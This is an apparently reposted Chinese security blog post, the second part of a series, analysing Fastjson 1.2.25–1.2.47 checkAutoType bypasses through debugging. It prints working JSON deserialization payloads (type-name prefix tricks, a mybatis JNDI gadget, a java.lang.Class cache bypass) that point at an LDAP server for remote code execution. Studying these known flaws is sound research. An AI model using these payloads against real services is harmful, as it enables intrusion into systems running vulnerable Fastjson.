Fastjson反序列化汇总-下篇

admin 2022年5月8日14:45:07评论64 views字数 4291阅读14分18秒阅读模式

Fastjson简介

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

项目地址:https://github.com/alibaba/fastjson

Fastjson 1.2.25-1.2.47反序列化

上篇说到了Fastjson1.2.22-1.2.24版本的反序列化,这次我们来讨论1.2.25版本之后的相关威胁。在FastJson1.2.25以及之后的版本中,fastjson为了防止autoType这一机制带来的安全隐患,增加了一层名为checkAutoType的检测机制。他使用了checkAutoType来修复1.2.22-1.2.24中的漏洞,其中有个autoTypeSupport默认为False。当autoTypeSupport为False时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。

1.2.25-1.2.41绕过方法

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class JSONTest {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload="{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/Calc", "autoCommit":true}";
        JSON.parse(payload);
    }
}

可以看到,和最普通的fastjson相比,他在@type字段的值的最前面加了一个L,就可以绕过黑名单,我们这里调试分析一下,我们直接把断点打到ParserConfig的checkAutoType方法

Fastjson反序列化汇总-下篇

他把我们传进去的@type字段的值去判断是否以acceptList和denyList里的元素开始,这里就是一个白名单和黑名单,判断需要反序列化的对象是否是黑名单的包下的对象或者是黑名单中的对象,如果是就抛出异常

Fastjson反序列化汇总-下篇

由于上图根据我们提供的类名找不到对应的类,继续往下运行

Fastjson反序列化汇总-下篇

这里调用了TypeUtils.loadClass,跟进看看

Fastjson反序列化汇总-下篇

判断了ClassName是否以L开头并且以;结尾,并且截取第一个开始到结尾的className作为新的类名,然后调用loadClass去加载类。这里就实现了绕过

1.2.25-1.2.42绕过方法

在fastjson1.2.42中,删除了之前的acceptList和denyList,使用了acceptHashCodes和denyHashCodes

Fastjson反序列化汇总-下篇
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class JSONTest {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload="{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Calc", "autoCommit":true}";
        JSON.parse(payload);
    }
}

这种绕过方法是使用两次L和;的组合,原因是他在TypeUtils的的loadClass如果发现className是L开头;结尾的,他会去一直调用loadClass直到没有L和;为止,这里就不多演示了

Fastjson反序列化汇总-下篇

1.2.25-1.2.43绕过方法

再试之前的那个payload会抛出异常,所以我们需要换一个,是否记得之前在判断L开头和;结尾上面还有一个判断是否以[开头

Fastjson反序列化汇总-下篇

那我们现在直接在最基础的payload上加一个[,报错如下

exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Calc""autoCommit":true}

希望在第42列加个[,那我们继续,继续报错

syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43

继续在第43列加个{,成功弹出计算器

Fastjson反序列化汇总-下篇

直接把断点打在TypeUtils的loadClass方法,此时是第一次进入该方法,但是可以看到当前的className只在最开始有一个[,说明在之前就经过处理

Fastjson反序列化汇总-下篇

逐步调试发现,貌似是在lexer.scanSymbol进行处理

Fastjson反序列化汇总-下篇

最后把在这个typeName传入到checkAutoType方法中。

Fastjson反序列化汇总-下篇

1.2.25-1.2.45绕过方法

检测了[,如果检测到开头是[,就抛出异常

Fastjson反序列化汇总-下篇

需要有mybatis<3.5.0,

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class JSONTest {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload="{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Calc"}}";
        JSON.parse(payload);
    }
}
Fastjson反序列化汇总-下篇

1.2.25-1.2.47通杀(无需AutoTypeSupport)

通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测

这里有两个版本段:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用

  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;


public class JSONTest {
    public static void main(String[] args) {
        String payload="{n" +
                "    "a":{n" +
                "        "@type":"java.lang.Class",n" +
                "        "val":"com.sun.rowset.JdbcRowSetImpl"n" +
                "    },n" +
                "    "b":{n" +
                "        "@type":"com.sun.rowset.JdbcRowSetImpl",n" +
                "        "dataSourceName":"ldap://localhost:1389/Calc",n" +
                "        "autoCommit":truen" +
                "    }n" +
                "}";
        JSON.parse(payload);
    }
}

未开启AutoTypeSupport,所以就不会进入黑白名单判断的逻辑.因为type的值是java.lang.Class,所以可以直接findClass,最后返回clazz,然后进入MiscCodec#deserialze

Fastjson反序列化汇总-下篇

这里使用了TypeUtils.loadClass函数加载了JdbcRowSetlmpl对象,会将其缓存在map中

Fastjson反序列化汇总-下篇
i
Fastjson反序列化汇总-下篇

参考文章

https://xz.aliyun.com/t/9052#toc-13



-END-

Fastjson反序列化汇总-下篇如果本文对您有帮助,来个点赞在看就是对我们莫大的鼓励。Fastjson反序列化汇总-下篇



  推荐关注:


Fastjson反序列化汇总-下篇
弱口令安全实验室正式成立于2022年1月,是思而听(山东)网络科技有限公司旗下的网络安全研究团队,专注于网络攻防技术渗透测试硬件安全安全开发网络安全赛事以及网安线上教育领域研究几大板块。
团队社群氛围浓厚,同时背靠思而听(山东)网络科技有限公司旗下的“知行网络安全教育平台”作为社区,容纳同好在安全领域不断进行技术提升以及技术分享,从而形成良好闭环。

团队全员均持CISP-PTE(注册信息安全专业人员-渗透测试工程师)认证,积极参与着各类网络安全赛事并屡获佳绩,同时多次高水准的完成了国家级、省部级攻防演习活动以及相关重报工作,均得到甲方的一致青睐与肯定。

欢迎对网络安全技术感兴趣的你来加入我们实验室,可在公众号内依次点击【关于我们】-【加入我们】来获取联系方式~




原文始发于微信公众号(弱口令安全实验室):Fastjson反序列化汇总-下篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月8日14:45:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson反序列化汇总-下篇https://cn-sec.com/archives/975320.html

发表评论

匿名网友 填写信息